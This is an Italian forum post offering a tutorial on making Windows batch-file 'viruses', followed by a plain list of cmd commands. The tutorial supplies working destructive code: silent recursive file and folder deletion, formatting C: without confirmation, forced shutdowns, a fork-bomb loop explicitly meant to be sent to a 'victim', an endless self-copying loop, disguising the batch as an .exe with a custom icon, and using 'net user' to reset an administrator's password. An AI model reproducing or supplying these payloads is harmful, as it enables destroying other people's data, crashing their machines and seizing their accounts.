• Regolamento Macrocategoria DEV
    Prima di aprire un topic nella Macrocategoria DEV, è bene leggerne il suo regolamento. Sei un'azienda o un hosting/provider? Qui sono anche contenute informazioni per collaborare con Sciax2 ed ottenere l'accredito nella nostra community!

[DOS] Parte Utile Del DOS

Fekko

Utente bannato
Autore del topic
10 Marzo 2007
179
0
Miglior risposta
0
Fonte :
Perfavore, Entra oppure Registrati per vedere i Link!

--------------------------
Creare Un Virus in .BAT

Salvare Un Batch

1) Aprire il blocco note
2) Incollarci il codice
3) Chiudere e salvare il file in .bat


Per Cancellare Un File
1) Aprite il blocco note
2) Incollateci 1 dei seguenti codici:

CODICE
@ERASE /comando "C:\percorso\percorso *.*"
@DEL /comando "C:\percorso\percorso *.*"

3) Chiudete e salvate in .bat


IN DETTAGLIO: Che significa quel codice?
Allora:
1) @ERASE e @DEL = Sono per cancellare file
2) /comando = Bisognerebbe inserire 1 o più comandi tra questi:

a) /P Chiede conferma prima di eliminare ogni file.
b) /F Forza l'eliminazione dei file di sola lettura.
c) /S Elimina i file specificati da tutte le sottodirectory.
d) /Q Modalità silenziosa, non chiede conferma per eliminazioni globali.
e) /A Seleziona i file da eliminare in base agli attributi.

3) *.* = Il PRIMO asterisco serve per cancellare TUTTI i file con un certo nome, come:
CODICE
eversor.*

4) *.* = Il SECONDO asterisco serve per cancellare QUALSIASI tipo di ESTENSIONE di un file, come:
CODICE
*.txt


5) QUINDI, in sostanza se dobbiamo cancellare il file "esempio" in .txt sul desktop, faremo:
CODICE
@ERASE /S /Q "C:\Programmi\Documents and settings\L.H.S.\Desktop\esempio.txt *.txt"



Per Cancellare Una Cartella
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:
CODICE
@RD /s /q C:\Percorso_Cartella

3) Salvare in .bat

IN DETTAGLIO: Perchè @RD?
@RD Serve in questo per cancellare una cartella, mentre @DEL e @ERASE era per File, @RD è per cartella.

Per Formattare C:
1) Aprire il blocco note
2) Inserirci dentro il seguente codice:
CODICE
format C: /autotest /q /u

3) Salvare in .bat

IN DETTAGLIO: Questo virus formatta c: senza chiedere conferma (/q) e non permette di essere bloccata piu avanti (/u)


Virus Per Disconnettere/Riavviare/Spegnere il PC
1) Aprire il blocco note
2) Inserire dentro il seguente codice:
CODICE
shutdown -comando

3) Salvare in .bat

IN DETTAGLIO: Il -comando può essere sostituito tra i seguenti:

a) -i : Attiva l’interfaccia utente grafica
b) -l : Disconnette l'utente
c) -r : Riavvia il PC
d) -s : Spegne il computer
e) -t xx: xx Sarebbero i secondi di attesa prima della chiusura di Windows
f) -f : Chiude le applicazioni ancora aperte


per far impallare un pc cosi
CODICE
:1
start nomebat.bat
goto 1

nel giro di diciamo 10 sec il pc va riavviato ( se non si riavvia da solo)


IN DETTAGLIO: Se aprite l'msdos (Start--->Esegui--->cmd) e scrivete START, a sua volta vi apre di nuovo il prompt.
Che succede se voi scrivete START tipo 500 volte (MAGARI COL NOSTRO FLODDER SPECIALE) salvate in batch e lo mandate alla vittima???
Beh, vi lascio a voi immaginare.


Trasformare Il .bat In .exe
1) Scaricate il seguente programma: Batch To Exe 1.2
2) Apritelo e scegliete le opzioni, si può anche cambiare l'icona del file


Aumentare Il Peso Del Batch
1) Aprire il blocco note
2) Incollarci dentro il codice
3) Aggiungere il codice:
CODICE
@REM parole_a_caso_ma_tante

4) Salvare in .bat

IN DETTAGLIO: Perchè @REM?
Allora si da il caso che il comando @REM, serva per "Inserire Commenti", MA, se noi al posto dei commenti mettiamo non so, 500 volte la lettere aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, non faremo altro che AUMENTARE il peso del virus.

Ecco la lista degli altri comandi
SPOILER (clicca per visualizzare)
Per ulteriori informazioni su uno specifico comando, digitare HELP nome comando
ASSOC Visualizza o modifica le applicazioni associate alle estensioni dei file.
AT Pianifica l'esecuzione di comandi o programmi su un computer.
ATTRIB Visualizza o cambia gli attributi di un file.
BREAK Attiva o disattiva il controllo esteso di CTRL+C.
CACLS Visualizza o modifica gli elenchi di controllo di accesso (ACL) dei file.
CALL Richiama un programma batch da un altro.
CD Visualizza il nome o cambia la directory corrente.
CHCP Visualizza o imposta il numero di tabella codici attiva.
CHDIR Visualizza il nome o cambia la directory corrente.
CHKDSK Controlla un disco e visualizza il relativo rapporto sullo stato.
CHKNTFS Visualizza o modifica la verifica di un disco durante l'avvio.
CLS Cancella lo schermo.
CMD Avvia una nuova istanza dell'interprete dei comandi di Windows.
COLOR Imposta i colori predefiniti in primo piano e dello sfondo della console.
COMP Confronta il contenuto di due file o di un gruppo di file.
COMPACT Visualizza o modifica la compressione di file su partizioni NTFS.
CONVERT Converte volumi FAT in NTFS. Non Š possibile convertire
l'unit… in uso.
COPY Copia uno o pi— file in un'altra posizione.
DATE Visualizza o imposta la data.
DEL Elimina uno o pi— file.
DIR Visualizza un elenco di file e sottodirectory in una directory.
DISKCOMP Confronta i contenuti di due dischi floppy.
DISKCOPY Copia il contenuto di un disco floppy su un altro.
DOSKEY Modifica righe di comando, richiama comandi di Windows, crea macro.
ECHO Visualizza messaggi o attiva e disattiva l'eco dei comandi.
ENDLOCAL Termina la localizzazione di modifiche di ambiente in un file batch.
ERASE Elimina uno o pi— file.
EXIT Termina il programma CMD.EXE (interprete dei comandi).
FC Confronta due file o gruppi di file e visualizza le differenze tra di
essi.
FIND Ricerca una stringa di testo in un file o file.
FINDSTR Ricerca stringhe in file.
FOR Esegue un comando specificato per ogni file in un gruppo di file.
FORMAT Formatta un disco per l'utilizzo con Windows.
FTYPE Visualizza o modifica i tipi di file utilizzati nelle associazioni delle estensioni di file.
GOTO Dirige l'interprete dei comandi di Windows a una riga con etichetta
in un programma batch.
GRAFTABL Abilita Windows alla visualizzazione di un set di caratteri estesi in
modalit… grafica.
HELP Fornisce informazioni di aiuto per i comandi di Windows.
IF Esegue un'elaborazione condizionale in un programma batch.
LABEL Crea, cambia o elimina l'etichetta di volume di un disco.
MD Crea una directory.
MKDIR Crea una directory.
MODE Configura una periferica di sistema.
MORE Visualizza l'output una schermata alla volta.
MOVE Sposta uno o pi— file da una directory a un'altra directory.
PATH Visualizza o imposta un percorso di ricerca per file eseguibili.
PAUSE Sospende l'elaborazione di un file batch e visualizza un messaggio.
POPD Ripristina il valore precedente della directory corrente salvato con PUSHD.
PRINT Stampa un file di testo.
PROMPT Cambia il prompt dei comandi di Windows.
PUSHD Salva la directory corrente e poi la cambia.
RD Elimina una directory.
RECOVER Recupera le informazioni leggibili da un disco danneggiato o difettoso.
REM Registra commenti (note) in file batch o CONFIG.SYS.
REN Rinomina i file.
RENAME Rinomina i file.
REPLACE Sostituisce i file.
RMDIR Elimina una directory.
SET Visualizza, imposta o elimina variabili di ambiente di Windows.
SETLOCAL Inizia la localizzazione di modifiche di ambiente in un file batch.
SHIFT Modifica la posizione di parametri sostituibili in file batch.
SORT Ordina l'input.
START Avvia una finestra separata per eseguire un programma o un comando specificato.
SUBST Associa un percorso ad una lettera di unit….
TIME Visualizza o imposta l'ora di sistema.
TITLE Imposta il titolo della finestra per una sessione CMD.EXE.
TREE Visualizza graficamente la struttura delle directory di un'unit… o percorso.
TYPE Visualizza il contenuto di un file di testo.
VER Visualizza la versione di Windows.
VERIFY Comunica a Windows di verificare o meno che i file siano stati
scritti correttamente su un disco.
VOL Visualizza un'etichetta di volume e il numero di serie del disco.
XCOPY Copia file e strutture di directory.



Gestione dell variabili

set x=3
verrà impostata la variabile x con valore 3

set /P x=

una riga d'imput definirà la variabile

set /a x=x+1

la variabile x è uguale a se stessa +1 (contatore)

da qui ne deriva il bat

set x=0
:1
copy nome.bat nome%*X%.bat
set /A x=x+1
goto 1

si copia all'infinito.

Vi ricordo che non si può formattare il disco in uso, e che se volete cambiare la pwd di un utente (magari al admin del pc) usate questo comando:
CODICE
net user %*USERNAME% pwd

dove al posto di %*USERNAME% inserite il nome user dell'admin del pc, e al posto di pwd mettete una password ;)

Fekko ;)
 
Ultima modifica: